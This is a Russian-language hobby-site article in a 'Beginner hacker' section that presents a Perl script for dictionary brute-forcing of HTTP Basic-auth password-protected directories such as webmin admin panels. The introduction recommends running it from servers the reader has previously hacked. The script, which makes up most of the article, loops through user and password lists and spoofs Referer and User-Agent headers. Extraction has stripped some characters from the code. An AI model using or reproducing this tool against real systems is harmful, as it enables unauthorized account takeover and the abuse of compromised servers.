Игры и Программы для вашего ПК
Меню сайта
Форма входа
Категории раздела
Зароботок [3]
Начинающий хакер [8]
Главная » Статьи » Начинающий хакер

Brute force на perl'e.
Brute force на perl'e. 
- Брут-форс со своего компьютера -- неблагодарный труд. Но если "запрячь" пару-тройку 
десятков взломанных тобой ранее серверов, то положительный результат должен быть. 
Поэтому напишем на перле .  
 Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - 
брутфорс (последовательный перебор паролей по словарю, либо по предварительно 
сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов 
попросту нет. И работает он исключительно на удачу ;) То есть, пароль может 
подобраться со второй попытки, либо через несколько лет. А может вообще не 
подобраться (по истечению словарного запаса =)). Еще одна слабость брутфорса - это 
медленная работа... Особенно, если ты на диалапе. Да и сами виндовые брутфорсы 
глючат... Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные - 
пройдет довольно много времени. Дохлый номер... наверное подумаешь ты ;) Но я тебя 
обрадую... Брутфорс дает хорошие плоды, если программа грамотно написана и запущена 
с *nix шелла, с хорошим каналом ;) Чтобы удовлетворить эти 2 потребности потребуются 
два компонента: - Прямые руки - *nix шелл с открытыми соединениями в internet + 
поддержка background processes В общем-то достаточно... Таким образом, у нас два среды 
для написания брутфорса - Си и Перл. Как истиння фанатка я остановлюсь на втором =) 
Perl - установлен практически на любой linux-тачке, так что проблем с интерпретатором у 
нас не возникнет. Итак, пишем брутфорс, который подбирает пароль к запароленой 
директории на www (например webmin или radius-admin). В этом случае имя пользователя 
должно быть известно. Сущность www-авторизации (basic) была описана в предыдущих 
статьях (), так что повторяться не буду. Для создании MimeCode в Perl существует 
компонент MIME::Base64. его мы и используем.  
Итак, поехали: 
#!/usr/bin/perl  
 ## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com  
## Modified by sikeirosa: sikeirosa@mail.ru  
 use MIME::Base64;  
use IO::Socket;  
use POSIX; ### Подрубаем модули POSIX, Socket и Base64  
 $server="127.0.0.1"; ### Удаленный сервер  
$port="80"; ### Удаленный порт  
$dir="/admin"; ### Запароленная директория  
$logfile="sucess.log"; ### Логфайл, куда пишем пароль  
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)  
$words="bigdict.txt"; ### Словарь (файл с паролями)  
$users="users.txt"; ### Имя пользователя  
 open(file, "<$words") or die print "$!n";  
@pwd_data=;  
$total=@pwd_data;  
close file; ### Записываем все пароли в один массив  
  open(file, "<$users") or die print "$!n";  
@users_data=;  
$total*=@users_data;  
close file; ### Записываем всех пользователей в один массив  
 $i=0;  
foreach $user (@users_data) {  
foreach $pass (@pwd_data) {  
$i++;  
chomp($pass);  
chomp($user);  
open(file, ">$log") or die print "$!n";  
$perc=($i*100)/$total;  
$perc=ceil($perc); ### Высчитываем процент  
print file "$perc% Donet$i of $totalttNow: $user:$passn"; ### Пишем в лог статус  
close file;  
 $auth=encode_base64("$user:$pass"); ### Создаем Mime-хеш  
chomp($auth);  
 ### Порождаем сокет  
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type 
=> SOCK_STREAM) or die print "Unable to connect to $server:$portn";  
print $socket "GET $dir HTTP/1.1n";  
print $socket "Host: $servern";  
print $socket "Accept: */*n";  
print $socket "Referer: http://support.microsoft.com/n";  
print $socket "User-Agent: Internet Explorer 6.0n";  
print $socket "Pragma: no-cachen";  
print $socket "Cache-Control: no-cachen";  
print $socket "Authorization: Basic $authn";  
print $socket "Connection: closenn"; ### Отправляем http-данные + Mime-хеш  
 $ans=<$socket>; ### Получаем ответ от сервера  
  if ($ans=~/200 Ok/i or $ans=~/301/i) {  
open(logf, ">>$logfile") or die print "$!n"; ### Если пароль верный - пишем в success-лог  
print logf "$user:$pass is OK!!!n";  
close logf;  
}  
close($socket);  
}  
}  
 Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо 
пока пароль не подберется: все зависит от удачи ;)  
 cricketka ::NSD
Категория: Начинающий хакер | Добавил: Admin (07-Апр-2013)
Просмотров: 382 | Рейтинг: 3.0/1
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Файлы
Photo: 26
News: 6
Downloads: 41
Publisher: 11
Games: 297
Video: 5
Guestbook: 3
Оцените
Оцените мой сайт
Всего ответов: 4
Статистика
FixSOFT - сайт бесплатного софта для Вас
Каталог сайтов :: Развлекательный портал iTotal.RU Каталог сайтов Всего.RU Каталог сайтов и статей iLinks.RU Каталог сайтов Bi0 Каталог сайтов OpenLinks.RU рефераты

Рейтинг@Mail.ru


Онлайн всего: 1
Гостей: 1
Пользователей: 0
Поиск

Lifter Corp. 2024
Используются технологии uCoz